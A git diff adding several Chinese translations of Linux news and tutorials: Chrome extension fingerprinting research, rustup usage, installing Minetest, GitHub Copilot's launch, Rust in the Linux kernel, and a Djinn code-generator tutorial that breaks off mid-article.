“**z0ccc**” 的安全研究人员发现了一种检测已安装 Chrome 浏览器扩展程序的新方法,该方法可进一步用于**通过“浏览器指纹识别”来跟踪你**。 + +如果你还不知道的话:浏览器指纹识别Browser Fingerprinting是指收集有关你的设备/浏览器的各种信息,以创建唯一的指纹 ID(哈希),从而在互联网上识别你的一种跟踪方法。“各种信息”包括:浏览器名称、版本、操作系统、已安装的扩展程序、屏幕分辨率和类似的技术数据。 + +这听起来像是一种无害的数据收集技术,但可以使用这种跟踪方法在线跟踪你。 + +### 检测谷歌 Chrome 扩展 + +研究人员发布了一个开源项目 “**Extension Fingerprints**”,你可以使用它来测试你安装的 Chrome 扩展是否能被检测到。 + +新技术涉及一种“时间差”方法,该工具比较了扩展程序获取资源的时间。与浏览器上未安装的其他扩展相比,受保护的扩展需要更多时间来获取资源。因此,这有助于从 1000 多个扩展列表中识别出一些扩展。 + +关键是:即使有了各种新的进步和技术来防止跟踪,Chrome 网上应用店的扩展也可以被检测到。 + +![][2] + +并且,在检测到已安装的扩展程序后,别人可以就使用浏览器指纹识别,对你进行在线跟踪。 + +令人惊讶的是,即使你安装有 uBlocker、AdBlocker、或 Privacy Badger(一些流行的以隐私为重点的扩展程序)之类的扩展程序,使用了这种方法,它们也都可以被检测到。 + +你可以在它的 [GitHub 页面][3] 上查看所有技术细节。如果你想自己测试它,请前往它的 [扩展指纹识别网站][4] 自行检查。 + +### 拯救 Firefox? + +嗯,似乎是的,毕竟我出于各种原因,[不断回到 Firefox][5]。 + +这个新发现的(跟踪)方法应该适用于所有基于 Chromium 的浏览器。我在 Brave 和谷歌 Chrome 上都测试了这个方法。研究人员还提到,该工具不能在使用微软应用商店中的扩展的微软 Edge 上工作。但是,相同的跟踪方法仍然有效。 + +正如研究人员指出,Mozilla Firefox 可以避免这种情况,因为每个浏览器实例的扩展 ID 都是唯一的。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/chrome-extension-tracking/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/opensource-project-tracker-chrome-extensions.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/06/extension-fingerprints.jpg +[3]: https://github.com/z0ccc/extension-fingerprints +[4]: https://z0ccc.github.io/extension-fingerprints/ +[5]: https://news.itsfoss.com/why-mozilla-firefox/ diff --git a/published/202206/20220622 Manage your Rust toolchain using rustup.md b/published/202206/20220622 Manage your Rust toolchain using rustup.md new file mode 100644 index 0000000000..b60c13fec5 --- /dev/null +++ b/published/202206/20220622 Manage your Rust toolchain using rustup.md @@ -0,0 +1,142 @@ +[#]: subject: "Manage your Rust toolchain using rustup" +[#]: via: "https://opensource.com/article/22/6/rust-toolchain-rustup" +[#]: author: "Gaurav Kamathe https://opensource.com/users/gkamathe" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14779-1.html" + +使用 rustup 管理你的 Rust 工具链 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/30/145426h9he5z111149ctcj.jpg) + +> rustup 可用于 Rust 安装与更新。它还能够在稳定版、测试版和每日更新版之间无缝切换 Rust 编译器及其工具。 + +[Rust 编程语言][2] 如今变得越来越流行,受到爱好者和公司的一致好评。它受欢迎的原因之一是 Rust 提供的令人惊叹的工具,使其成为开发人员使用的乐趣。[rustup][3] 是管理 Rust 工具的官方工具。它不仅可以安装和更新 Rust ,它还能够在稳定版、测试版和每日更新版之间无缝切换 Rust 编译器及其工具。本文将向你介绍 `rustup` 及其一些常用命令。 + +### 默认 Rust 安装方式 + +如果你想在 Linux 上安装 Rust,你可以使用你的包管理器。在 Fedora 或 CentOS Stream 上,你可以这样: + +``` +$ sudo dnf install rust cargo +``` + +这提供了一个稳定版的 Rust 工具链,如果你是 Rust 的初学者,并想尝试编译和运行简单的程序,它会非常有用。但是,由于 Rust 是一种新的编程语言,它变化很快,并且经常添加许多新功能。这些功能是 Rust 工具链的每日更新版和之后测试版的一部分。要试用这些功能,你需要安装这些较新版本的工具链,而不会影响系统上的稳定版本。不幸的是,你的发行版的包管理器在这里无法做到。 + +### 使用 rustup 安装 Rust 工具链 + +要解决上述问题,你可以下载安装脚本: + +``` +$ curl --proto '=https' --tlsv1.2 \ + -sSf https://sh.rustup.rs > sh.rustup.rs +``` + +检查它,然后运行它。它不需要 root 权限,并根据你的本地用户权限安装 Rust: + +``` +$ file sh.rustup.rs +sh.rustup.rs: POSIX shell script, ASCII text executable +$ less sh.rustup.rs +$ bash sh.rustup.rs +``` + +出现提示时选择选项 `1`: + +``` +1) Proceed with installation (default) +2) Customize installation +3) Cancel installation +> 1 +``` + +安装后,你必须获取环境变量以确保 `rustup` 命令立即可供你运行: + +``` +$ source $HOME/.cargo/env +``` + +验证是否安装了 Rust 编译器(`rustc`)和 Rust 包管理器(`cargo`): + +``` +$ rustc --version +$ cargo --version +``` + +### 查看已安装和可用的工具链 + +你可以使用以下命令查看已安装的不同工具链以及哪个工具链是可用的: + +``` +$ rustup show +``` + +### 在工具链之间切换 + +你可以查看默认工具链并根据需要进行更改。如果你当前使用的是稳定版工具链,并希望尝试每日更新版中提供的新功能,你可以轻松切换到每日更新版工具链: + +``` +$ rustup default +$ rustup default nightly +``` + +要查看 Rust 的编译器和包管理器的完整路径: + +``` +$ rustup which rustc +$ rustup which cargo +``` + +### 检查和更新工具链 + +要检查是否有新的 Rust 工具链可用: + +``` +$ rustup check +``` + +假设一个新版本的 Rust 发布了,其中包含一些有趣的特性,并且你想要获取最新版本的 Rust。你可以使用 `update` 子命令来做到这一点: + +``` +$ rustup update +``` + +### 帮助和文档 + +以上命令对于日常使用来说绰绰有余。尽管如此,`rustup` 有多种命令,你可以参考帮助部分了解更多详细信息: + +``` +$ rustup --help +``` + +`rustup` 在 GitHub 上有完整的 [参考手册][4],你可以用作参考。所有 Rust 文档都安装在你的本地系统上,不需要你连接到互联网。你可以访问包括书籍、标准库等在内的本地文档: + +``` +$ rustup doc +$ rustup doc --book +$ rustup doc --std +$ rustup doc --cargo +``` + +Rust 是一种正在积极开发中的令人兴奋的语言。如果你对编程的发展方向感兴趣,请关注 Rust! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/rust-toolchain-rustup + +作者:[Gaurav Kamathe][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tools_hardware_purple.png +[2]: https://www.rust-lang.org/ +[3]: https://github.com/rust-lang/rustup +[4]: https://rust-lang.github.io/rustup/ diff --git a/published/202206/20220623 Minetest, an Open Source Minecraft Alternative.md b/published/202206/20220623 Minetest, an Open Source Minecraft Alternative.md new file mode 100644 index 0000000000..5c7b6eef20 --- /dev/null +++ b/published/202206/20220623 Minetest, an Open Source Minecraft Alternative.md @@ -0,0 +1,131 @@ +[#]: subject: "Minetest, an Open Source Minecraft Alternative" +[#]: via: "https://itsfoss.com/minetest/" +[#]: author: "John Paul https://itsfoss.com/author/john/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14774-1.html" + +Minetest:一个开源的 Minecraft 替代品 +====== + +早在 2009 年,Minecraft 就来到了这个世界。从那时起,它已经成为一种文化现象。在这段时间里,一些开发者发布了具有类似想法和机制的开源游戏。今天,我们将看看其中最大的一个:Minetest。 + +### 什么是 Minetest? + +![](https://img.linux.net.cn/data/attachment/album/202206/29/151524eem52oyatm2tz2dr.jpg) + +[Minetest][2],简单地说,是一个基于体素voxel的沙盒游戏,与 Minecraft 非常相似。与 Minecraft 不同的是,Minetest 是用 C++ 编写的,并被设计成可以在大多数系统上原生运行。它也有一个非常大的地图区域。地图大小为 “62,000 × 62,000 × 62,000 块”,“你可以向下开采 31,000 块,或向上建造 31,000 块”。 + +有趣的是,Minetest 最初是以专有许可证发布的,但后来被重新授权为 GPL。此后,它又被重新授权为 LGPL。 + +Minetest 有几种模式。你可以建造并发挥创意,或者你可以尝试在各种元素中生存。你并不局限于这些模式。Minetest 有大量的 [额外内容][3],包括 模组mod、纹理包和在 Minetest 中建立的游戏。这主要是通过 Minetest 的 [模组 API][4] 和 Lua 完成的。 + +![minetest packages][5] + +对于那些玩过 Minecraft 的人来说,你会发现 Minetest 中的体验非常相似。你可以挖掘资源,建造结构,并结合材料来制作工具。我在 Minetest 中没有注意到的一件事是怪物。我认为 Minetest 中没有任何生物,但话说回来,我只在创意模式中玩过。我还没有玩过生存模式。 + +Minetest 也被用于 [教育][6]。例如,瑞士 CERN 的人用 Minetest 创造了一个游戏,以 [展示互联网是如何工作的][7] 以及它是如何被创造出来的。Minetest 还被用于 [教授][8] 编程、地球科学以及微积分和三角学。 + +![minetes map1][9] + +### 如何安装 Minetest? + +Minetest 几乎在每个系统上都可以使用。下面是一个命令列表,你可以用它来在一些最流行的 Linux 发行版中安装 Minetest。 + +#### Ubuntu 或者 Debian + +如果你有一个基于 Ubuntu 或 Debian 的发行版,只要在终端输入这个命令: + +``` +sudo apt install mintest +``` + +#### Arch 或者 Manjaro + +对于基于 Arch 的系统(如 Manjaro),使用: + +``` +sudo pacman -S minetest +``` + +#### Fedora + +你可以从 Fedora 服务器中输入以下命令安装 Mintest: + +``` +sudo dnf install mintest +``` + +#### openSUSE + +openSUSE 用户可以用这个命令安装 Minetest: + +``` +sudo zypper in mintest +``` + +#### FreeBSD + +FreeBSD 用户很幸运。他们可以用这个命令安装 Mintest: + +``` +pkg install minetest minetest_game +``` + +#### Snap + +要安装 Minetest 的 Snap 包,请在终端输入以下命令: + +``` +sudo snap install minetest +``` + +#### Flathub + +要安装,请输入: + +``` +flatpak install flathub net.minetest.Minetest +``` + +你可以在 [这里][11] 下载 Windows 的可移植执行文件。你也可以在 Android 上安装 Minetest,可以通过 [Google Play][12] 或 [下载 APK][13]。 + +### 总结 + +![minetest about][14] + +我已经在 Minetest 中花了几个小时在我的本地系统上进行构建和探索。它非常有趣。我还没来得及尝试任何额外的内容,因为我对我玩过的相对较少的游戏部分非常满意。我遇到的唯一麻烦是,由于某种原因,它在 Fedora 上运行缓慢。我可能存在一些配置上的错误。 + +如果你曾经认为 Minecraft 看起来很有趣,但不想花钱,那就去看看 Minetest。你会很高兴你这么做。 + +如果你玩过 Minetest,在评论中告诉我们你的体验如何。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/minetest/ + +作者:[John Paul][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/john/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-start-800x411.jpg +[2]: https://www.minetest.net/ +[3]: https://content.minetest.net/ +[4]: https://dev.minetest.net/Modding_Intro +[5]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-packages-800x411.jpg +[6]: https://www.minetest.net/education/ +[7]: https://forum.minetest.net/viewtopic.php?t=22871 +[8]: https://en.wikipedia.org/wiki/Minetest#Usage_in_education +[9]: https://itsfoss.com/wp-content/uploads/2022/03/minetes-map1-800x411.png +[10]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-map2-800x413.png +[11]: https://www.minetest.net/downloads/ +[12]: https://play.google.com/store/apps/details?id=net.minetest.minetest&utm_source=website&pcampaignid=MKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1 +[13]: https://github.com/minetest/minetest/releases/download/5.5.0/app-armeabi-v7a-release.apk +[14]: https://itsfoss.com/wp-content/uploads/2022/03/minetest-about-800x407.jpg diff --git a/published/202206/20220624 GitHub Copilot is Now Available for All and Not Everyone Likes It.md b/published/202206/20220624 GitHub Copilot is Now Available for All and Not Everyone Likes It.md new file mode 100644 index 0000000000..345b934ec0 --- /dev/null +++ b/published/202206/20220624 GitHub Copilot is Now Available for All and Not Everyone Likes It.md @@ -0,0 +1,91 @@ +[#]: subject: "GitHub Copilot is Now Available for All and Not Everyone Likes It" +[#]: via: "https://news.itsfoss.com/github-copilot/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14759-1.html" + +GitHub Copilot 现已可供所有人使用,但并非所有人都喜欢它 +====== + +> GitHub Copilot 来了,它能帮助程序员,为他们提供人工智能的编码建议,不过,它是否会让事情变得更糟呢? + +![GitHub][1] + +在 2021 年,我曾花了好几个小时来翻阅 GitHub Copilot 文档,试图弄清楚如何能够加入它的技术预览计划。还好,这一切都得到了回报,我成功加入了预览计划。 + +而现在,它终于可供所有人使用啦! + +如果你还不知道的话,[GitHub Copilot][2] 是一个 AI 助手,可帮助你更快、更高效地编写代码。 + +我能想到的最类似的东西,就是你手机上的(输入法的)自动完成功能。不过,与自动完成功能不同,GitHub Copilot 编写代码,就相当于是在完成整段的句子。 + +### Copilot 现已可供大众使用 + +正如我在前面提到的,Copilot 已经处于技术预览阶段将近一年了。这意味着,GitHub 只允许非常有限数量的开发者免费使用它,以换取同意 GitHub 监控他们的使用情况,从而改进程序的最终版本。 + +看起来 GitHub 终于满意地向公众发布了它。现在,任何拥有 GitHub 帐户的人都应该能够使用它,尽管需要付出一定的代价(我很快就会在下面提到)。 + +[公告][3] 中提到: + +> 直到不久前,人工智能都没有能够帮助改进代码,开发软件的过程几乎完全是手动的。现在,这种情况正在改变。今天,我很高兴地宣布,我们正在向所有个人开发者提供 [GitHub Copilot][4]。你的 AI 配对程序员来啦。 +> +> —— [Thomas Dohmke][5],GitHub CEO + +Copilot 作为免费的编辑器扩展,已经帮助数百万开发者加快了他们的编程速度。然而,它确实是有代价的,无论是直接的还是间接的。 + +### GitHub Copilot 定价 + +与几乎所有令人兴奋的新技术一样,Copilot 对某些人来说可能过于昂贵。它将花费你 10 美元/月或 100 美元/年。 + +如果你是开源项目维护者或经过验证的学生,那么你可以免费使用它。 + +### GitHub Copilot 不道德吗? + +围绕 GitHub Copilot 产品的争议巨大且令人担忧。从技术上讲,这个人工智能是使用大家托管在 GitHub 上的代码来进行训练的。 + +因此,基本上,GitHub 是通过使用你的代码来提供一个新产品(如果你愿意的话,还可以加点料)。而且,关于 Copilot,可别忘了,自由软件基金会(FSF)也 [建议][6] 不要在 GitHub 上托管代码。 + +我们知道,企业总是喜欢利用事物,但有些人认为这应该不会直接损害托管在 GitHub 上的项目/代码。 + +**但是,是这样吗?** + +简而言之,在 Copilot 发布后,许多开发者都分享说,他们发现 GitHub Copilot 生成了受版权保护的代码: + +> 我试了下 GitHub Copilot,这是一项付费服务​​,来看看它是否会使用带有限制性许可证的存储库的代码。我检查了它,看看它是否有我在之前雇主那里编写的代码,该代码有一个许可证,只允许其用于免费游戏,并且需要附加许可证。是的,它确实有。 + +![图源:推特上的 Chris Green][7] + +当然,如果我们查看 GitHub Copilot 的常见问题解答(FAQ),其中提到: + +> GitHub 不拥有 GitHub Copilot 生成的建议。您在 GitHub Copilot 的帮助下编写的代码属于您自己,由您自己负责。 + +所以说,你为一项服务付了费,最终却为你的项目增加了不便和更多的工作? + +在我看来,就简化开发者的任务而言,这听起来一点儿也不令人兴奋。 + +*你对此有什么想法?请在下面的评论区中分享一下吧!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/github-copilot/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/github-copilot.jpg +[2]: https://copilot.github.com/ +[3]: https://github.blog/2022-06-21-github-copilot-is-generally-available-to-all-developers/ +[4]: http://copilot.github.com +[5]: https://github.blog/author/ashtom/ +[6]: https://www.fsf.org/blogs/licensing/fsf-funded-call-for-white-papers-on-philosophical-and-legal-questions-around-copilot +[7]: https://pbs.twimg.com/media/FV45qM_VEAALLv6?format=png&name=medium +[8]: https://twitter.com/ChrisGr93091552/status/1539731632931803137?ref_src=twsrc%5Etfw diff --git a/published/202206/20220624 Linus Torvalds Expects to See Rust Support in the Kernel Soon.md b/published/202206/20220624 Linus Torvalds Expects to See Rust Support in the Kernel Soon.md new file mode 100644 index 0000000000..84501ed7fa --- /dev/null +++ b/published/202206/20220624 Linus Torvalds Expects to See Rust Support in the Kernel Soon.md @@ -0,0 +1,64 @@ +[#]: subject: "Linus Torvalds Expects to See Rust Support in the Kernel Soon" +[#]: via: "https://news.itsfoss.com/linux-kernel-rust/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14763-1.html" + +Linus Torvalds 暗示很快就可以在内核中看到对 Rust 的支持 +====== + +> 正如 Linus Torvalds 所暗示,Linux Kernel 5.20 发布时可能会提供对 Rust 的支持。你怎么看? + +![Linus][1] + +市面上已经有许多用 Rust 重写的开源项目。因此,如今 Rust 被认为是 Linux 内核的第二语言,也就不足为奇了。 + +几天前,在 [Linux 基金会开源峰会][2] 上,Linus Torvals 提到他们预计将在下一个内核版本(即 Linux 内核 5.20)中对 Rust 进行试验。 + +或许你不知道,正如 [Phoronix][3] 率先报道的那样,Linux 已经有了 Rust 内核补丁,包含了少量的示例驱动程序,以及基本的基础设施的启用代码。 + +因此,Linus Torvalds 对可能合并 Rust 支持的暗示,也不足为奇。但是,这无疑是令人兴奋的! + +### 用于 Linux 内核的 Rust + +这么做的最终目标是让 Linux 内核变得更好,但它现在仍然处于试运行阶段。 + +凭借其各种优势,Rust 正日益成为一种流行的编程语言。还记得吗,[System76 也在开发一个用 Rust 编写的新桌面环境][4]。 + +然而,并不是所有参与维护 Linux 内核的人都熟悉这种编程语言。 + +那么,这会是一个问题吗? + +Linus Torvalds 并不认为这是一个大问题,因为内核中也有其他语言。他还提到希望看到 Rust 成为新的一份子。 + +[The Register][5] 报道称,Linus Torvalds 表示会信任维护者,除非他们犯了错误。 + +### Linux 5.20:何时发布? + +Linux 内核 5.19 版本将于 7 月底左右发布。因此,5.20 版本的合并窗口应该会在其稳定版发布后开启(假设没有意外延迟的话)。 + +除了 Rust 以外,Linux 内核 5.20 应该也是对包括 RDNA3 在内的下一代硬件支持的重要更新,它同时提供了更多功能。 + +*你如何看待 Rust 将在不久的将来进入 Linux 呢?你感到兴奋吗?欢迎在下方评论区告诉我们~* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-kernel-rust/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/linus-expects-rust-support-in-linux-kernel-soon.jpg +[2]: https://events.linuxfoundation.org/open-source-summit-north-america/ +[3]: https://www.phoronix.com/scan.php?page=news_item&px=Rust-Linux-v7-Plus-New-Uutils +[4]: https://news.itsfoss.com/system76-rust-cosmic-desktop/ +[5]: https://www.theregister.com/2022/06/23/linus_torvalds_rust_linux_kernel/ diff --git a/published/202207/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md b/published/202207/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md new file mode 100644 index 0000000000..e4fac67c25 --- /dev/null +++ b/published/202207/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md @@ -0,0 +1,267 @@ +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14792-1.html) +[#]: subject: (Djinn: A Code Generator and Templating Language Inspired by Jinja2) +[#]: via: (https://theartofmachinery.com/2021/01/01/djinn.html) +[#]: author: (Simon Arneaud https://theartofmachinery.com) + +Djinn:一个受 Jinja2 启发的代码生成器和模板语言 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/04/101711nq2we7z7x7wz2z7e.jpg) + +代码生成器是非常有用的工具。我有时使用 [jinja2][1] 的命令行版本来生成高度冗余的配置文件和其他文本文件,但它在转换数据方面功能有限。显然,Jinja2 的作者有不同的想法,而我想要类似于 列表推导list comprehensions 或 D 语言的 可组合范围composable range 算法之类的东西。 + +我决定制作一个类似于 Jinja2 的工具,但让我可以通过使用范围算法转换数据来生成复杂的文件。这个想法非常简单:一个直接用 D 语言代码重写的模板语言。因为它 _就是_ D 语言,它可以支持 D 语言所能做的一切。我想要一个独立的代码生成器,但是由于 [D 语言的 `mixin` 特性][2],同样的模板语言可以作为嵌入式模板语言工作(例如,Web 应用程序中的 HTML)。有关该技巧的更多信息,请参阅 [这篇关于在编译时使用 mixins 将 Brainfuck 转换为 D 和机器代码的文章][3]。 + +像往常一样,[源码在 GitLab 上][4]。[这篇文章中的例子也可以在这里找到][5]。 + +### Hello world 示例 + +这是一个演示这个想法的例子: + +``` +Hello [= retro("dlrow") ]! +[: enum one = 1; :] +1 + 1 = [= one + one ] +``` + +`[= some_expression ]` 类似于 Jinja2 中的 `{{ some_expression }}`,它在输出中呈现一个值。`[: some_statement; :]` 类似于 `{% some_statement %}` ,用于执行完整的代码语句。我更改了语法,因为 D 也大量使用花括号,并且将两者混合使模板难以阅读(还有一些特殊的非 D 指令,比如 `include`,它们被包裹在 `[<` 和 `>]` 中)。 + +如果你将上面的内容保存到一个名为 `hello.txt.dj` 的文件中并运行 `djinn` 命令行工具,你会得到一个名为 `hello.txt` 的文件,其中包含你可能猜到的内容: + +``` +Hello world! +1 + 1 = 2 +``` + +如果你使用过 Jinja2,你可能想知道第二行发生了什么。Djinn 有一个简化格式化和空格处理的特殊规则:如果源代码行包含 `[:` 语句或 `[<` 指令但不包含任何非空格输出,则整行都会被忽略输出。空行则仍会原样呈现。 + +### 生成数据 + +好的,现在来讲一些更实用的东西:生成 CSV 数据。 + +``` +x,f(x) +[: import std.mathspecial; +foreach (x; iota(-1.0, 1.0, 0.1)) :] +[= "%0.1f,%g", x, normalDistribution(x) ] +``` + +一个 `[=` 和 `]` 对可以包含多个用逗号分隔的表达式。如果第一个表达式是一个由双引号包裹的字符串,则会被解释为 [格式化字符串][6]。下面是输出结果: + +``` +x,f(x) +-1.0,0.158655 +-0.9,0.18406 +-0.8,0.211855 +-0.7,0.241964 +-0.6,0.274253 +-0.5,0.308538 +-0.4,0.344578 +-0.3,0.382089 +-0.2,0.42074 +-0.1,0.460172 +0.0,0.5 +0.1,0.539828 +0.2,0.57926 +0.3,0.617911 +0.4,0.655422 +0.5,0.691462 +0.6,0.725747 +0.7,0.758036 +0.8,0.788145 +0.9,0.81594 +``` + +### 制作图片 + +这个例子展示了一个图片的生成过程。[经典的 Netpbm 图像库定义了一堆图像格式][7],其中一些是基于文本的。例如,这是一个 3 x 3 向量的图像: + +``` +P2 # PGM 格式标识 +3 3 # 宽和高 +7 # 代表纯白色的值(0 代表黑色) +7 0 7 +0 0 0 +7 0 7 +``` + +你可以将上述文本保存到名为 `cross.pgm` 之类的文件中,很多图像工具都知道如何解析它。下面是一些 Djinn 代码,它以相同的格式生成 [Mandelbrot 集][8] 分形: + +``` +[: +import std.complex; +enum W = 640; +enum H = 480; +enum kMaxIter = 20; +ubyte mb(uint x, uint y) +{ + const c = complex(3.0 * (x - W / 1.5) / W, 2.0 * (y - H / 2.0) / H); + auto z = complex(0.0); + ubyte ret = kMaxIter; + while (abs(z) <= 2 && --ret) z = z * z + c; + return ret; +} +:] +P2 +[= W ] [= H ] +[= kMaxIter ] +[: foreach (y; 0..H) :] +[= "%(%s %)", iota(W).map!(x => mb(x, y)) ] +``` + +生成的文件大约为 800 kB,但它可以很好地被压缩为 PNG: + +``` +$ # 使用 GraphicsMagick 进行转换 +$ gm convert mandelbrot.pgm mandelbrot.png +``` + +结果如下: + +![][9] + +### 解决谜题 + +这里有一个谜题: + +![][10] + +一个 5 行 5 列的网格需要用 1 到 5 的数字填充,每个数字在每一行中限使用一次,在每列中限使用一次(即,制作一个 5 行 5 列的拉丁方格Latin square)。相邻单元格中的数字还必须满足所有 `>` 大于号表示的不等式。 + +[几个月前我使用了 线性规划linear programming(LP)][11]。线性规划问题是具有线性约束的连续变量系统。这次我将使用混合整数线性规划mixed integer linear programming(MILP),它通过允许整数约束变量来归纳 LP。事实证明,这足以成为 NP 完备的,而 MILP 恰好可以很好地模拟这个谜题。 + +在上一篇文章中,我使用 Julia 库 JuMP 来帮助解决这个问题。这次我将使用 [CPLEX:基于文本的格式][12],它受到多个 LP 和 MILP 求解器的支持(如果需要,可以通过现成的工具轻松转换为其他格式)。这是上一篇文章中 CPLEX 格式的 LP: + +``` +Minimize + obj: v +Subject To + ptotal: pr + pp + ps = 1 + rock: 4 ps - 5 pp - v <= 0 + paper: 5 pr - 8 ps - v <= 0 + scissors: 8 pp - 4 pr - v <= 0 +Bounds + 0 <= pr <= 1 + 0 <= pp <= 1 + 0 <= ps <= 1 +End +``` + +CPLEX 格式易于阅读,但复杂度高的问题需要大量变量和约束来建模,这使得手工编码既痛苦又容易出错。有一些特定领域的语言,例如 [ZIMPL][13],用于以高级方式描述 MILP 和 LP。对于许多问题来说,它们非常酷,但最终它们不如具有良好库(如 JuMP)支持的通用语言或使用 D 语言的代码生成器那样富有表现力。 + +我将使用两组变量来模拟这个谜题:`v_{r,c}` 和 `i_{r,c,v}`。`v_{r,c}` 将保存 r 行 c 列单元格的值(从 1 到 5)。`i_{r,c,v}` 是一个二进制指示器,如果 r 行 c 列的单元格的值是 v,则该指示器值为 1,否则为 0。这两组变量是网格的冗余表示,但第一种表示更容易对不等式约束进行建模,而第二种表示更容易对唯一性约束进行建模。我只需要添加一些额外的约束来强制这两个表示是一致的。但首先,让我们从每个单元格必须只有一个值的基本约束开始。从数学上讲,这意味着给定行和列的所有指示器都必须为 0,但只有一个值为 1 的例外。这可以通过以下等式强制约束: + +``` +[i_{r,c,1} + i_{r,c,2} + i_{r,c,3} + i_{r,c,4} + i_{r,c,5} = 1] +``` + +可以使用以下 Djinn 代码生成对所有行和列的 CPLEX 约束: + +``` +\ 单元格只有一个值 +[: +foreach (r; iota(N)) +foreach (c; iota(N)) +:] + [= "%-(%s + %)", vs.map!(v => ivar(r, c, v)) ] = 1 +[::] +``` + +`ivar()` 是一个辅助函数,它为我们提供变量名为 `i` 的字符串标识符,而 `vs` 存储从 1 到 5 的数字以方便使用。行和列内唯一性的约束完全相同,但在 `i` 的其他两个维度上迭代。 + +为了使变量组 `i` 与变量组 `v` 保持一致,我们需要如下约束(请记住,变量组 `i` 中只有一个元素的值是非零的): + +``` +[i_{r,c,1} + 2i_{r,c,2} + 3i_{r,c,3} + 4i_{r,c,4} + 5i_{r,c,5} = v_{r,c}] +``` + +CPLEX 要求所有变量都位于左侧,因此 Djinn 代码如下所示: + +``` +\ 连接变量组 i 和变量组 v +[: +foreach (r; iota(N)) +foreach (c; iota(N)) +:] + [= "%-(%s + %)", vs.map!(v => text(v, ' ', ivar(r, c, v))) ] - [= vvar(r,c) ] = 0 +[::] +``` + +不等符号相邻的和左下角值为为 4 单元格的约束写起来都很简单。剩下的便是将指示器变量声明为二进制,并为变量组 `v` 设置边界。加上变量的边界,总共有 150 个变量和 111 个约束 [你可以在仓库中看到完整的代码][14]。 + +[GNU 线性规划工具集][15] 有一个命令行工具可以解决这个 CPLEX MILP。不幸的是,它的输出是一个包含了所有内容的体积很大的转储,所以我使用 awk 命令来提取需要的内容: + +``` +$ time glpsol --lp inequality.lp -o /dev/stdout | awk '/v[0-9][0-9]/ { print $2, $4 }' | sort +v00 1 +v01 3 +v02 2 +v03 5 +v04 4 +v10 2 +v11 5 +v12 4 +v13 1 +v14 3 +v20 3 +v21 1 +v22 5 +v23 4 +v24 2 +v30 5 +v31 4 +v32 3 +v33 2 +v34 1 +v40 4 +v41 2 +v42 1 +v43 3 +v44 5 + +real 0m0.114s +user 0m0.106s +sys 0m0.005s +``` + +这是在原始网格中写出的解决方案: + +![][16] + +这些例子只是用来玩的,但我相信你已经明白了。顺便说一下,Djinn 代码仓库的 `README.md` 文件本身是使用 Djinn 模板生成的。 + +正如我所说,Djinn 也可以用作嵌入在 D 语言代码中的编译期模板语言。我最初只是想要一个代码生成器,得益于 D 语言的元编程功能,这算是一个额外获得的功能。 + +-------------------------------------------------------------------------------- + +via: https://theartofmachinery.com/2021/01/01/djinn.html + +作者:[Simon Arneaud][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: 